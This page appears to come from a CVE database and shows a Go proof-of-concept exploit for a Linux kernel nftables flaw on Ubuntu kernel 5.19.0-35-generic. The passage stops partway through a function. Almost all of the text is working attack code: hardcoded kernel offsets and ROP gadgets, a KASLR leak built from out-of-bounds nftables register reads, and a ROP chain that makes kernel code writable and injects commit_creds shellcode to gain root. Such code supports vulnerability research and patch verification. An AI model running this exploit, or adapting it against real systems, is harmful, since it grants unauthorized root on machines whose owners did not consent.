4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / main.go GO
package main

import (
	"C"
	"bytes"
	"encoding/binary"
	"fmt"
	"net"
	"time"

	"github.com/google/nftables"
	"golang.org/x/sys/unix"
)
import (
	"math/rand"
	"os"
	"os/exec"
	"path"
	"runtime"
	"strconv"
	"strings"
	"syscall"
	"unsafe"

	"github.com/google/nftables/expr"
	"github.com/mdlayher/netlink"
	"github.com/vishvananda/netns"
)

/// Offsets for exploits
type exploitConfig struct {
	// Offset from meta_set ops to nf_tables.ko base
	metaSetOpsOff uint64
	// Offset from nf_tables.ko base to byteorder_ops
	byteorderOpsOff uint64
	// Offset from nf_tables.ko base to payload_ops
	payloadOpsOff uint64
	// Offset from nf_tables.ko base to immediate_ops
	immOpsOff uint64
	/// Offset from the regs array on the stack in nft_chain and
	/// the return address to ip_local_deliver
	ipLocalDeliverRegOff uint64
	// ip_local_deliver return from nft_do_chain
	ipLocalDeliverReturn uint64

	// Offset to '__x64_sys_modify_ldt' function in the kernel
	x64_sys_modify_ldt_addr uint64
	// Offset to 'do_task_dead' function in the kernel
	do_task_dead_addr uint64
	// Offset to 'set_memory_rw' function in the kernel
	set_memory_rw_addr uint64
	// Offset to 'prepare_kernel_cred' function in the kernel
	prepare_kernel_cred uint64
	// Offset to 'commit_creds' function in the kernel
	commit_creds uint64
	// Offset to '_copy_from_user' function in the kernel
	copy_from_user_priv uint64
	// Offset to 'pop rdi; ret' gadget in the kernel
	pop_rdi uint64
	// Offset to 'pop rsi; ret' gadget in the kernel
	pop_rsi uint64
	// Offset to 'pop rdx; ret' gadget in the kernel
	pop_rdx uint64
}

var currentConfig *exploitConfig

func CToGoString(b []byte) string {
	i := bytes.IndexByte(b, 0)
	if i < 0 {
		i = len(b)
	}
	return string(b[:i])
}

var cpuCount int = 0
var shellcode []byte = []byte{0x48, 0x31, 0xff, //  xor    rdi,rdi
	0xe8, 0x00, 0x00, 0x00, 0x00, // call   prepare_kernel_cred - 0x8
	0x48, 0x89, 0xc7, // mov    rdi,rax
	0xe8, 0x00, 0x00, 0x00, 0x00, // call   commit_creds - 0x10
	0xc3, // ret
}

func init() {
	configs := make(map[string]exploitConfig)

	// Ubuntu kinetic kudu
	configs["5.19.0-35-generic"] = exploitConfig{
		metaSetOpsOff:           0x2fde0,
		byteorderOpsOff:         0x2f7a0,
		payloadOpsOff:           0x2f9e0,
		immOpsOff:               0x2f1e0,
		x64_sys_modify_ldt_addr: 0x48900,
		do_task_dead_addr:       0x118150,
		set_memory_rw_addr:      0xb3680,
		prepare_kernel_cred:     0x101ea0,
		commit_creds:            0x101bd0,
		copy_from_user_priv:     0x6edfe0,
		ipLocalDeliverRegOff:    0x278,
		ipLocalDeliverReturn:    0xcd9793,
		pop_rdi:                 0x692b8d, // 0xffffffff81692b8d : pop rdi ; test eax, 0x8948000f ; ret
		pop_rsi:                 0xa7c3e,  // 0xffffffff810a7c3e : pop rsi ; ret
		pop_rdx:                 0xa78b25, // 0xffffffff81a78b25 : pop rdx ; add al, 0x39 ; ret
	}

	u := unix.Utsname{}
	unix.Uname(&u)

	if cfg, ok := configs[CToGoString((u.Release[:]))]; ok {
		currentConfig = &cfg
		fmt.Printf("[+] Using config: %v\n", CToGoString(u.Release[:]))
	} else {
		panic(fmt.Errorf("[!] Kernel version '%v' is unsupported", string(u.Release[:])))
	}
}

func packet_leak_path() {
	// Now send a packet
	tx, err := net.DialUDP("udp4", nil, &net.UDPAddr{
		IP:   net.IPv4(127, 0, 0, 1),
		Port: 1337,
	})

	if err != nil {
		panic(err)
	}

	tx.Write([]byte{1, 2, 3, 4})
	tx.Close()
}

func packet_ropchain_path(ropchain []byte) {
	tx, err := net.DialUDP("udp4", nil, &net.UDPAddr{
		IP:   net.IPv4(127, 0, 0, 1),
		Port: 1337,
	})

	if err != nil {
		panic(err)
	}

	tx.Write(ropchain)
	tx.Close()
}

func craft_rop_chain(kernelBase uint64) []byte {
	payload := new(bytes.Buffer)

	p64 := func(val uint64) {
		_ = binary.Write(payload, binary.LittleEndian, val)
	}

	// set_memory_rw(sys_modify_ldt, 2)
	p64(kernelBase + currentConfig.pop_rdi)
	p64(kernelBase + (currentConfig.x64_sys_modify_ldt_addr & (0xffff_ffff_ffff_f000)))
	p64(kernelBase + currentConfig.pop_rsi)
	p64(2)
	p64(kernelBase + currentConfig.set_memory_rw_addr)

	// Patch shellcode
	prepare_kernel_cred_shellcode := currentConfig.prepare_kernel_cred - currentConfig.x64_sys_modify_ldt_addr - 0x8
	shellcode[4] = uint8(prepare_kernel_cred_shellcode)
	shellcode[5] = uint8(prepare_kernel_cred_shellcode >> 8)
	shellcode[6] = uint8(prepare_kernel_cred_shellcode >> 16)
	shellcode[7] = uint8(prepare_kernel_cred_shellcode >> 24)

	commit_creds_shellcode := currentConfig.commit_creds - currentConfig.x64_sys_modify_ldt_addr - 0x10
	shellcode[12] = uint8(commit_creds_shellcode)
	shellcode[13] = uint8(commit_creds_shellcode >> 8)
	shellcode[14] = uint8(commit_creds_shellcode >> 16)
	shellcode[15] = uint8(commit_creds_shellcode >> 24)

	// copy shellcode to kernel (_copy_from_user)
	p64(kernelBase + currentConfig.pop_rdi)
	p64(kernelBase + currentConfig.x64_sys_modify_ldt_addr)
	p64(kernelBase + currentConfig.pop_rsi)
	p64(uint64(uintptr(unsafe.Pointer(&shellcode[0]))))
	p64(kernelBase + currentConfig.pop_rdx)
	p64(uint64(len(shellcode)))
	p64(kernelBase + currentConfig.copy_from_user_priv)

	// Make the kernel task hang
	p64(kernelBase + uint64(currentConfig.do_task_dead_addr))

	return payload.Bytes()
}

func leak_module_step(conn *nftables.Conn, moduleBase uint64, kernelBase uint64) error {
	// Main table for important chains
	table := conn.AddTable(&nftables.Table{
		Family: nftables.TableFamilyIPv4,
		Name:   "kaslr",
	})

	// Set recovering the leaked values from the stack
	leakSet := nftables.Set{
		Anonymous: false,
		Constant:  false,
		Name:      "leak-set",
		ID:        1,
		IsMap:     true,
		Table:     table,
		KeyType:   nftables.TypeInteger,
		DataType:  nftables.TypeInteger,
	}

	err := conn.AddSet(&leakSet, nil)

	if err != nil {
		return fmt.Errorf("Could no create set: %v", err)
	}

	// Chain used for leaking information off the stack
	leakChain := conn.AddChain(&nftables.Chain{
		Name:  "leak-chain",
		Table: table,
	})

	conn.AddRule(&nftables.Rule{
		Table: table,
		Chain: leakChain,
		Exprs: []expr.Any{
			// Copies the lsb of the first jumpstack entry to r14-r19 (NFT_REG32_06 - NFT_REG32_11)
			&expr.Byteorder{
				SourceRegister: 18,
				DestRegister:   8,
				Op:             expr.ByteorderHton,
				Len:            24,
				Size:           2,
			},
			// Add to the set the lsb's
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x00, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 14,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x01, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 15,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x02, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 16,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x03, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 17,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x04, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 18,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x05, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 19,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
		},
	})

	if err := conn.Flush(); err != nil {
		return err
	}

	// base chain alloc
	policy := nftables.ChainPolicyAccept

	// Put basechain in kmalloc-192
	baseChain := conn.AddChain(&nftables.Chain{
		Name:     "base-chain",
		Table:    table,
		Type:     nftables.ChainTypeFilter,
		Hooknum:  nftables.ChainHookInput,
		Priority: nftables.ChainPriorityFilter,
		Policy:   &policy,
	})

	conn.AddRule(&nftables.Rule{
		Table: table,
		Chain: baseChain,
		Exprs: []expr.Any{
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x01, 0x01, 0x01, 0x01},
			},
			&expr.Meta{
				Key:            unix.NFT_META_NFTRACE,
				SourceRegister: true,
				Register:       8,
			},
		},
	})

	conn.AddRule(&nftables.Rule{
		Table: table,
		Chain: baseChain,
		Exprs: []expr.Any{
			&expr.Verdict{
				Kind:  expr.VerdictJump,
				Chain: "leak-chain",
			},
			&expr.Verdict{
				Kind: expr.VerdictReturn,
			},
		},
	})

	if err := conn.Flush(); err != nil {
		return fmt.Errorf("Could not create base chain: %v", err)
	}

	packet_leak_path()

	// Recover entries from set
	elems, err := conn.GetSetElements(&leakSet)

	if err != nil {
		return fmt.Errorf("Could not get set elems: %v", err)
	}

	offsets := []uint16{0, 0, 0, 0, 0, 0}

	for _, elem := range elems {
		key := binary.LittleEndian.Uint32(elem.Key)
		val := binary.BigEndian.Uint16(elem.Val)

		offsets[key] = val
	}

	// offsets[0] = jumpstack[0].chain      u16 lsb high u32
	// offsets[1] = jumpstack[0].chain      u16 lsb low  u32
	// offsets[2] = jumpstack[0].rules      u16 lsb high u32
	// offsets[3] = jumpstack[0].rules      u16 lsb low  u32
	// offsets[4] = jumpstack[0].rules_last u16 lsb high u32
	// offsets[5] = jumpstack[0].rules_last u16 lsb low u32

	// Free all rules from the leak chain and prepare it for a write
	conn.FlushChain(leakChain)

	if err := conn.Flush(); err != nil {
		return fmt.Errorf("Could not delete leakchain rules: %v", err)
	}

	// chain low u16
	chainLow := make([]byte, 4)
	binary.LittleEndian.PutUint16(chainLow, offsets[0])

	// chain high u16
	chainHigh := make([]byte, 4)
	binary.LittleEndian.PutUint16(chainHigh, offsets[1])

	// rules low u16
	ruleLow := make([]byte, 4)
	binary.LittleEndian.PutUint16(ruleLow, offsets[4]-0x22)

	// rules high u16
	ruleHigh := make([]byte, 4)
	binary.LittleEndian.PutUint16(ruleHigh, offsets[3])

	// rules_last low u16
	ruleLastLow := make([]byte, 4)
	binary.LittleEndian.PutUint16(ruleLastLow, (offsets[4]-0x22)+0x8)

	// rules_last high u16
	ruleLastHigh := make([]byte, 4)
	binary.LittleEndian.PutUint16(ruleLastHigh, offsets[5])

	// Payload to write lsb of rules pointer
	conn.AddRule(&nftables.Rule{
		Table: table,
		Chain: leakChain,
		Exprs: []expr.Any{
			&expr.Immediate{
				Register: 8,
				Data:     chainLow,
			},
			&expr.Immediate{
				Register: 9,
				Data:     chainHigh,
			},
			&expr.Immediate{
				Register: 10,
				Data:     ruleLow,
			},
			&expr.Immediate{
				Register: 11,
				Data:     ruleHigh,
			},
			&expr.Immediate{
				Register: 12,
				Data:     ruleLastLow,
			},
			&expr.Immediate{
				Register: 13,
				Data:     ruleLastHigh,
			},
			&expr.Byteorder{
				SourceRegister: 8,
				DestRegister:   16,
				Op:             expr.ByteorderHton,
				Len:            28,
				Size:           2,
			},
		},
	})

	if err := conn.Flush(); err != nil {
		return fmt.Errorf("Could not add oob write rule: %v", err)
	}

	// Register our trace handler to recover the leak
	traceconn, err := netlink.Dial(unix.NETLINK_NETFILTER, &netlink.Config{})

	if err != nil {
		return fmt.Errorf("Could not setup listening socket: %v", err)
	}

	defer traceconn.Close()

	// Add to trace group
	err = traceconn.JoinGroup(unix.NFNLGRP_NFTRACE)

	if err != nil {
		return fmt.Errorf("Could not add socket to trace group: %v", err)
	}

	// Trigger our leak
	packet_leak_path()

	for {
		messages, err := traceconn.Receive()

		if err != nil {
			return fmt.Errorf("Could not receive trace messages: %v", err)
		}

		// Parse the trace messages
		for _, m := range messages {
			ad, err := netlink.NewAttributeDecoder(m.Data[4:])

			if err != nil {
				return fmt.Errorf("Could not create attribute decoder: %v", err)
			}

			ad.ByteOrder = binary.BigEndian

			for ad.Next() {
				if ad.Type() == unix.NFTA_TRACE_RULE_HANDLE {
					addr := ad.Uint64() >> 3

					// Check that the 3 lower nibbles are identical (untouched by kASLR)
					if (addr & 0xfff) != (currentConfig.immOpsOff & 0xfff) {
						continue
					}

					// Small sanity check that the value > 32 bits
					if addr < 0x100000000 {
						continue
					}

					moduleBase := addr - currentConfig.immOpsOff
					moduleBase |= 0xffffff8000000000 // Set the top 25 bits to ff, which should be fine

					fmt.Printf("LEAK:%x", moduleBase)

					return nil
				}
			}
		}
	}

	return nil
}

func leak_kaslr_step(conn *nftables.Conn, moduleBase uint64, kernelBase uint64) error {
	// Main table for important chains
	table := conn.AddTable(&nftables.Table{
		Family: nftables.TableFamilyIPv4,
		Name:   "kaslr",
	})

	// Set recovering the leaked values from the stack
	leakSet := nftables.Set{
		Anonymous: false,
		Constant:  false,
		Name:      "leak-set",
		ID:        1,
		IsMap:     true,
		Table:     table,
		KeyType:   nftables.TypeInteger,
		DataType:  nftables.TypeInteger,
	}

	err := conn.AddSet(&leakSet, nil)

	if err != nil {
		return fmt.Errorf("Could no create set: %v", err)
	}

	// Set recovering the leaked stack return address
	kleakSet := nftables.Set{
		Anonymous: false,
		Constant:  false,
		Name:      "kaslr-leak-set",
		ID:        1,
		IsMap:     true,
		Table:     table,
		KeyType:   nftables.TypeInteger,
		DataType:  nftables.TypeInteger,
	}

	err = conn.AddSet(&kleakSet, nil)

	if err != nil {
		return fmt.Errorf("Could not create kernel leak set: %v", err)
	}

	// Chain used for leaking information off the stack
	leakChain := conn.AddChain(&nftables.Chain{
		Name:  "leak-chain",
		Table: table,
	})

	conn.AddRule(&nftables.Rule{
		Table: table,
		Chain: leakChain,
		Exprs: []expr.Any{
			// Copies the lsb of the first jumpstack entry to r14-r19 (NFT_REG32_06 - NFT_REG32_11)
			&expr.Byteorder{
				SourceRegister: 18,
				DestRegister:   8,
				Op:             expr.ByteorderHton,
				Len:            24,
				Size:           2,
			},
			// Add to the set the lsb's
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x00, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 14,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x01, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 15,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x02, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 16,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x03, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 17,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x04, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 18,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x05, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 19,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
		},
	})

	if err := conn.Flush(); err != nil {
		return err
	}

	// base chain alloc
	policy := nftables.ChainPolicyAccept

	baseChain := conn.AddChain(&nftables.Chain{
		Name:     "base-chain",
		Table:    table,
		Type:     nftables.ChainTypeFilter,
		Hooknum:  nftables.ChainHookInput,
		Priority: nftables.ChainPriorityFilter,
		Policy:   &policy,
	})

	// First rule: jump to leakchain to recover next rule ptr lsb
	conn.AddRule(&nftables.Rule{
		Table: table,
		Chain: baseChain,
		Exprs: []expr.Any{
			&expr.Verdict{
				Kind:  expr.VerdictJump,
				Chain: "leak-chain",
			},
		},
	})

	// Second rule: craft a fake rule within a nft_range rule
	w := new(bytes.Buffer)

	// Craft nft_rule_dp with (dlen=32, is_last=0, handle=0)
	_ = binary.Write(w, binary.LittleEndian, uint64(32<<1))

	// Write fake nft_byteorder
	// struct nft_byteorder {
	//   u8                         sreg;                 /*     0     1 */
	//   u8                         dreg;                 /*     1     1 */
	//   enum nft_byteorder_ops     op:8;                 /*     0:16  4 */
	//   u8                         len;                  /*     3     1 */
	//   u8                         size;                 /*     4     1 */
	//
	//   /* size: 8, cachelines: 1, members: 5 */
	//   /* padding: 3 */
	//   /* last cacheline: 8 bytes */
	// };
	_ = binary.Write(w, binary.LittleEndian, uint64(moduleBase+currentConfig.byteorderOpsOff))

	// set byteorder::sreg as the offset // 4 of the return address on the stack
	_ = binary.Write(w, binary.LittleEndian, uint8(currentConfig.ipLocalDeliverRegOff/4))
	// set byteorder::dreg as the register where we want to recover the value (-4 to remove first 4 dwords of regs, aka verdict)
	_ = binary.Write(w, binary.LittleEndian, uint8(12))
	// set byteorder::op to NFT_BYTEORDER_NTOH (not sure if it matters)
	_ = binary.Write(w, binary.LittleEndian, uint8(0))
	// set byteorder::len to 8 bytes
	_ = binary.Write(w, binary.LittleEndian, uint8(8))
	// set byteorder::size to 8 (u64)
	_ = binary.Write(w, binary.LittleEndian, uint8(8))

	// padding
	_ = binary.Write(w, binary.LittleEndian, uint8(0))
	_ = binary.Write(w, binary.LittleEndian, uint8(0))
	_ = binary.Write(w, binary.LittleEndian, uint8(0))

	// Write partial nft_meta, which will overlap with the end of the real nft_range
	_ = binary.Write(w, binary.LittleEndian, uint64(moduleBase+currentConfig.metaSetOpsOff))

	payload := w.Bytes()

	conn.AddRule(&nftables.Rule{
		Table: table,
		Chain: baseChain,
		Exprs: []expr.Any{
			&expr.Range{
				Op:       expr.CmpOpNeq,
				Register: 8, // Will overlap with meta->key
				FromData: payload[:16],
				ToData:   payload[16:],
			},
		},
	})

	if err := conn.Flush(); err != nil {
		return fmt.Errorf("Could not create base chain: %v", err)
	}

	// Third rule, add our register, which will contain the address to the set
	conn.AddRule(&nftables.Rule{
		Table: table,
		Chain: baseChain,
		Exprs: []expr.Any{
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x00, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 16,
				SetName:    "kaslr-leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x01, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 17,
				SetName:    "kaslr-leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
		},
	})

	if err := conn.Flush(); err != nil {
		return fmt.Errorf("Could not create base chain: %v", err)
	}

	packet_leak_path()

	// Flush the entries in kaslr leak set
	conn.FlushSet(&kleakSet)

	if err := conn.Flush(); err != nil {
		return fmt.Errorf("Could not flush kaslr leak set: %v", err)
	}

	// Recover entries from set
	elems, err := conn.GetSetElements(&leakSet)

	if err != nil {
		return fmt.Errorf("Could not get set elems: %v", err)
	}

	offsets := []uint16{0, 0, 0, 0, 0, 0}

	for _, elem := range elems {
		key := binary.LittleEndian.Uint32(elem.Key)
		val := binary.BigEndian.Uint16(elem.Val)

		offsets[key] = val
	}

	// offsets[0] = jumpstack[0].chain      u16 lsb high u32
	// offsets[1] = jumpstack[0].chain      u16 lsb low  u32
	// offsets[2] = jumpstack[0].rules      u16 lsb high u32
	// offsets[3] = jumpstack[0].rules      u16 lsb low  u32
	// offsets[4] = jumpstack[0].rules_last u16 lsb high u32
	// offsets[5] = jumpstack[0].rules_last u16 lsb low u32

	// Free all rules from the leak chain and prepare it for a write
	conn.FlushChain(leakChain)

	if err := conn.Flush(); err != nil {
		return fmt.Errorf("Could not delete leakchain rules: %v", err)
	}

	// fmt.Println("[+] Flushed leak chain")

	// for i, e := range offsets {
	// 	fmt.Printf("offset[%v] = 0x%x\n", i, e)
	// }

	// chain low u16
	chainLow := make([]byte, 4)
	binary.LittleEndian.PutUint16(chainLow, offsets[0])

	// chain high u16
	chainHigh := make([]byte, 4)
	binary.LittleEndian.PutUint16(chainHigh, offsets[1])

	// rules low u16
	// Skip real rule_dp header + nft_range_ops
	ruleLow := make([]byte, 4)
	binary.LittleEndian.PutUint16(ruleLow, offsets[2]+16)

	// rules high u16
	ruleHigh := make([]byte, 4)
	binary.LittleEndian.PutUint16(ruleHigh, offsets[3])

	// rules_last low u16
	ruleLastLow := make([]byte, 4)
	binary.LittleEndian.PutUint16(ruleLastLow, offsets[4])

	// rules_last high u16
	ruleLastHigh := make([]byte, 4)
	binary.LittleEndian.PutUint16(ruleLastHigh, offsets[5])

	// Payload to write lsb of rules pointer
	conn.AddRule(&nftables.Rule{
		Table: table,
		Chain: leakChain,
		Exprs: []expr.Any{
			&expr.Immediate{
				Register: 8,
				Data:     chainLow,
			},
			&expr.Immediate{
				Register: 9,
				Data:     chainHigh,
			},
			&expr.Immediate{
				Register: 10,
				Data:     ruleLow,
			},
			&expr.Immediate{
				Register: 11,
				Data:     ruleHigh,
			},
			&expr.Immediate{
				Register: 12,
				Data:     ruleLastLow,
			},
			&expr.Immediate{
				Register: 13,
				Data:     ruleLastHigh,
			},
			&expr.Byteorder{
				SourceRegister: 8,
				DestRegister:   16,
				Op:             expr.ByteorderHton,
				Len:            28,
				Size:           2,
			},
		},
	})

	if err := conn.Flush(); err != nil {
		return fmt.Errorf("Could not add oob write rule: %v", err)
	}

	// Trigger our leak
	packet_leak_path()

	// Recover leaked return address from set
	elems, err = conn.GetSetElements(&kleakSet)

	if err != nil {
		return fmt.Errorf("Could not get set elems: %v", err)
	}

	offsets2 := []uint32{0, 0}

	for _, elem := range elems {
		key := binary.LittleEndian.Uint32(elem.Key)
		val := binary.BigEndian.Uint32(elem.Val)

		offsets2[key] = val
	}

	leakedPtr := uint64(offsets2[0])<<32 | uint64(offsets2[1])

	if (leakedPtr & 0xfff) != (currentConfig.ipLocalDeliverReturn & 0xfff) {
		return fmt.Errorf("Invalid pointer: %x", leakedPtr)
	}

	fmt.Printf("LEAK:%x\n", leakedPtr-currentConfig.ipLocalDeliverReturn)

	return nil
}

func ropchain_step(conn *nftables.Conn, moduleBase uint64, kernelBase uint64) error {
	// Rop chain for our post exploit
	ropchain := craft_rop_chain(kernelBase)

	// Main table for important chains
	table := conn.AddTable(&nftables.Table{
		Family: nftables.TableFamilyIPv4,
		Name:   "rop",
	})

	// Set recovering the leaked values from the stack
	leakSet := nftables.Set{
		Anonymous: false,
		Constant:  false,
		Name:      "leak-set",
		ID:        1,
		IsMap:     true,
		Table:     table,
		KeyType:   nftables.TypeInteger,
		DataType:  nftables.TypeInteger,
	}

	err := conn.AddSet(&leakSet, nil)

	if err != nil {
		return fmt.Errorf("Could no create set: %v", err)
	}

	// Chain used for leaking information off the stack
	leakChain := conn.AddChain(&nftables.Chain{
		Name:  "leak-chain",
		Table: table,
	})

	conn.AddRule(&nftables.Rule{
		Table: table,
		Chain: leakChain,
		Exprs: []expr.Any{
			// Copies the lsb of the first jumpstack entry to r14-r19 (NFT_REG32_06 - NFT_REG32_11)
			&expr.Byteorder{
				SourceRegister: 18,
				DestRegister:   8,
				Op:             expr.ByteorderHton,
				Len:            24,
				Size:           2,
			},
			// Add to the set the lsb's
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x00, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 14,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x01, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 15,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x02, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 16,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x03, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 17,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x04, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 18,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
			&expr.Immediate{
				Register: 8,
				Data:     []byte{0x05, 0x00, 0x00, 0x00},
			},
			&expr.Dynset{
				SrcRegKey:  8,
				SrcRegData: 19,
				SetName:    "leak-set",
				Operation:  uint32(unix.NFT_DYNSET_OP_ADD),
			},
		},
	})

	if err := conn.Flush(); err != nil {
		return err
	}

	// base chain alloc
	policy := nftables.ChainPolicyAccept

	baseChain := conn.AddChain(&nftables.Chain{
		Name:     "base-chain",
		Table:    table,
		Type:     nftables.ChainTypeFilter,
		Hooknum:  nftables.ChainHookInput,
		Priority: nftables.ChainPriorityFilter,
		Policy:   &policy,
	})

	// First rule: jump to leakchain to recover next rule ptr lsb
	conn.AddRule(&nftables.Rule{
		Table: table,
		Chain: baseChain,
		Exprs: []expr.Any{
			&expr.Verdict{
				Kind:  expr.VerdictJump,
				Chain: "leak-chain",
			},
		},
	})

	// Second rule: craft a fake rule within a nft_range rule
	w := new(bytes.Buffer)

	// Craft nft_rule_dp with (dlen=32, is_last=0, handle=0)
	_ = binary.Write(w, binary.LittleEndian, uint64(32<<1))

	// Write fake nft_payload
	// struct nft_payload {
	//   enum nft_payload_bases     base:8;               /*     0: 0  4 */
	//   u8                         offset;               /*     1     1 */
	//   u8                         len;                  /*     2     1 */
	//   u8                         dreg;                 /*     3     1 */

	//   /* size: 4, cachelines: 1, members: 4 */
	//   /* last cacheline: 4 bytes */
	// };
	_ = binary.Write(w, binary.LittleEndian, uint64(moduleBase+currentConfig.payloadOpsOff))

	// set payload::base as NFT_PAYLOAD_TRANSPORT_HEADER
	_ = binary.Write(w, binary.LittleEndian, uint8(2))
	// set payload::offset to 8 (skip UDP header)
	_ = binary.Write(w, binary.LittleEndian, uint8(8))
	// set payload::len to the length of our ropchain (aka, bytes to copy)
	_ = binary.Write(w, binary.LittleEndian, uint8(len(ropchain)))
	// set payload::dreg to point to the return address, beyond the stack canary
	_ = binary.Write(w, binary.LittleEndian, uint8(currentConfig.ipLocalDeliverRegOff/4))

	// padding
	_ = binary.Write(w, binary.LittleEndian, uint8(0))
	_ = binary.Write(w, binary.LittleEndian, uint8(0))
	_ = binary.Write(w, binary.LittleEndian, uint8(0))
	_ = binary.Write(w, binary.LittleEndian, uint8(0))

	// Write partial nft_meta, which will overlap with the end of the real nft_range
	_ = binary.Write(w, binary.LittleEndian, uint64(moduleBase+currentConfig.metaSetOpsOff))

	payload := w.Bytes()

	conn.AddRule(&nftables.Rule{
		Table: table,
		Chain: baseChain,
		Exprs: []expr.Any{
			&expr.Range{
				Op:       expr.CmpOpNeq,
				Register: 8, // Will overlap with meta->key
				FromData: payload[:16],
				ToData:   payload[16:],
			},
		},
	})

	if err := conn.Flush(); err != nil {
		return fmt.Errorf("Could not create base chain: %v", err)
	}

	// Third rule, juste some placeholder
	conn.AddRule(&nftables.Rule{
		Table: table,
		Chain: baseChain,
		Exprs: []expr.Any{
			&expr.Verdict{
				Kind: expr.VerdictReturn,
			},
		},
	})

	if err := conn.Flush(); err != nil {
		return fmt.Errorf("Could not create base chain: %v", err)
	}

	packet_leak_path()

	if err := conn.Flush(); err != nil {
		return fmt.Errorf("Could not flush kaslr leak set: %v", err)
	}

	// Recover entries from set
	elems, err := conn.GetSetElements(&leakSet)

	if err != nil {
		return fmt.Errorf("Could not get set elems: %v", err)
	}

	offsets := []uint16{0, 0, 0, 0, 0, 0}

	for _, elem := range elems {
		key := binary.LittleEndian.Uint32(elem.Key)
		val := binary.BigEndian.Uint16(elem.Val)

		offsets[key] = val
	}

	// offsets[0] = jumpstack[0].chain      u16 lsb high u32
	// offsets[1] = jumpstack[0].chain      u16 lsb low  u32
	// offsets[2] = jumpstack[0].rules      u16 lsb high u32
	// offsets[3] = jumpstack[0].rules      u16 lsb low  u32
	// offsets[4] = jumpstack[0].rules_last u16 lsb high u32
	// offsets[5] = jumpstack[0].rules_last u16 lsb low u32

	// Free all rules from the leak chain and prepare it for a write
	conn.FlushChain(leakChain)

	if err := conn.Flush(); err != nil {
		return fmt.Errorf("Could not delete leakchain rules: %v", err)
	}

	// chain low u16
	chainLow := make([]byte, 4)
	binary.LittleEndian.PutUint16(chainLow, offsets[0])

	// chain high u16
	chainHigh := make([]byte, 4)
	binary.LittleEndian.PutUint16(chainHigh, offsets[1])

	// rules low u16
